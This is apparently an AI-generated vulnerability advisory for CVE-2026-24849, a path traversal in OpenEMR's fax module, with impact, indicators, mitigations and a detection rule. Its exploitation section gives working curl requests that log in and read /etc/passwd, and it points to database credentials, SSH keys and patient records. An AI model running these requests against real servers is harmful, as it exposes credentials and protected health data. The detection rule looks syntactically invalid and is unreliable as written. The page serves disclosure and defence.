CVE-2026-24849
OpenEMR vulnerability analysis and mitigation

Overview

CVE-2026-24849 is a path traversal (arbitrary file read) vulnerability in OpenEMR, a widely used open-source electronic health records and medical practice management application. The disposeDocument() method in EtherFaxActions.php (part of the oe-module-faxsms module) fails to validate user-supplied file paths, allowing any authenticated user — regardless of privilege level — to read arbitrary files from the server filesystem. All OpenEMR versions prior to 7.0.4 are affected; version 7.0.4 patches the issue. The vulnerability was discovered on 2025-11-22 and publicly disclosed on 2026-02-25, with a CVSS v3.1 base score of 6.5 (Medium) per NVD scoring, though the GitHub Security Advisory assigns a score of 9.9 (Critical) under a broader scope (GitHub Advisory, Red Hat CVE).

Technical details

The root cause is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory — Path Traversal). The vulnerable disposeDocument() method in interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php accepts a user-controlled file_path parameter from the HTTP request without calling authenticate() for privilege verification and without performing any path validation. The method then passes this value directly to readfile() (via sendFile()), enabling an attacker to supply absolute paths (e.g., /etc/passwd, sites/default/sqlconf.php) or path traversal sequences to read any file accessible to the web server process. Exploitation requires only a valid OpenEMR session cookie — no elevated privileges are needed — and the Fax SMS module must be enabled with EtherFax configured as the fax provider (GitHub Advisory).

Impact

Successful exploitation allows an authenticated attacker to read arbitrary files from the server filesystem, including system files (/etc/passwd, /etc/shadow), database credentials (sites/default/sqlconf.php), application configuration and .env files, PHP source code, and potentially patient health records — all of which constitute Protected Health Information (PHI) under HIPAA. Because any authenticated user (including low-privilege accounts such as receptionists or patients with portal access) can exploit this vulnerability, the effective attack surface is very broad. Exposure of database credentials could enable lateral movement to the backend database, leading to full data compromise, while exposure of session data could facilitate account takeover (GitHub Advisory).

Exploitability

A public proof-of-concept (PoC) exploit is available in the GitHub Security Advisory and has been indexed by Sploitus (EDB-ID:52610) and Vulners. A dedicated PoC repository (github.com/doany1/CVE-2026-24849) was also published. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.043% (0.000430), indicating a currently low but non-negligible probability of exploitation. The vulnerability is not listed in the CISA KEV catalog (GitHub Advisory, Sploitus).

Exploitation steps

  1. Reconnaissance: Identify internet-facing OpenEMR instances (versions < 7.0.4) using Shodan, Censys, or similar tools. Confirm the Fax SMS module is enabled by browsing to the module path or checking the OpenEMR admin panel.
  2. Obtain valid credentials: Acquire any valid OpenEMR account credentials (even a low-privilege user such as a receptionist or portal patient account).
  3. Authenticate and capture session cookie: Send a login POST request to obtain a valid session cookie.
curl -c cookies.txt -b cookies.txt "http://<target>/openemr/interface/main/main_screen.php" \
  -d "new_login_session_management=1" \
  -d "authUser=lowprivuser" \
  -d "clearPass=password" \
  -d "languageChoice=1"
  1. Send malicious file read request: Issue a GET request to the vulnerable disposeDocument endpoint with the file_path parameter set to the target file and action=download.
curl -b cookies.txt \
  "http://<target>/openemr/interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=disposeDocument&file_path=/etc/passwd&action=download"
  1. Exfiltrate sensitive files: Repeat with high-value targets such as sites/default/sqlconf.php (database credentials), .env files, or SSH private keys to enable further lateral movement.
  2. Leverage credentials: Use extracted database credentials to connect directly to the OpenEMR database and access or exfiltrate patient records (GitHub Advisory).

Indicators of compromise

  • Network: Unusual HTTP GET requests to /interface/modules/custom_modules/oe-module-faxsms/index.php containing _ACTION_COMMAND=disposeDocument and action=download parameters; file_path values referencing absolute paths (e.g., /etc/passwd, /etc/shadow) or traversal sequences (../).
  • Logs: Apache/Nginx access log entries matching the pattern disposeDocument combined with file_path= and action=download; requests from low-privilege user accounts accessing the faxsms module endpoint; repeated requests to the endpoint from the same session or IP targeting different sensitive files.
  • File System: No direct file artifacts from read-only exploitation; however, if credentials are subsequently used, look for unexpected database connections or new administrative accounts.
  • SIEM Detection Rule (from advisory):
rule openemr_arbitrary_file_read {
  strings:
    $path1 = "disposeDocument"
    $path2 = "file_path="
    $path3 = "action=download"
  condition:
    all of them and (
      $path2 contains "/etc/" or
      $path2 contains "sqlconf" or
      $path2 contains "../"
    )
}

(GitHub Advisory)

Mitigation and workarounds

The primary remediation is to upgrade OpenEMR to version 7.0.4 or later, which patches the disposeDocument() method by adding proper authentication checks and path validation (GitHub Advisory, Patch Commit). For organizations unable to patch immediately, the following workarounds are recommended:

  • Disable the Fax SMS module if EtherFax fax functionality is not required (set $GLOBALS['oefax_enable_fax'] = 0 in OpenEMR global settings).
  • Restrict network access to the OpenEMR instance using firewall rules or Apache/Nginx IP allowlisting to limit exposure to trusted users only.
  • Implement filesystem permissions to restrict the web server process from reading sensitive files outside the application directory.
  • Monitor access logs for suspicious requests to the disposeDocument endpoint as described in the IOC section.

Community reactions

The vulnerability was responsibly disclosed by researcher tonghuaroot and published via the GitHub Security Advisory program on 2026-02-25. Coverage appeared on The Hacker Wire and was tracked by INCIBE-CERT, VulDB, and CIRCL's vulnerability database. Brinztech published a dedicated healthcare infrastructure advisory highlighting the HIPAA compliance risk. Social media discussion was noted on Bluesky via both thehackerwire.bsky.social and cve.skyfleet.blue. No major vendor statements beyond the OpenEMR project's own advisory have been identified (GitHub Advisory, Red Hat CVE).

Additional resources


SourceThis report was generated using AI

Related OpenEMR vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-40506HIGH7
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 17, 2026
CVE-2026-76614MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40509MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40508MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40507MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management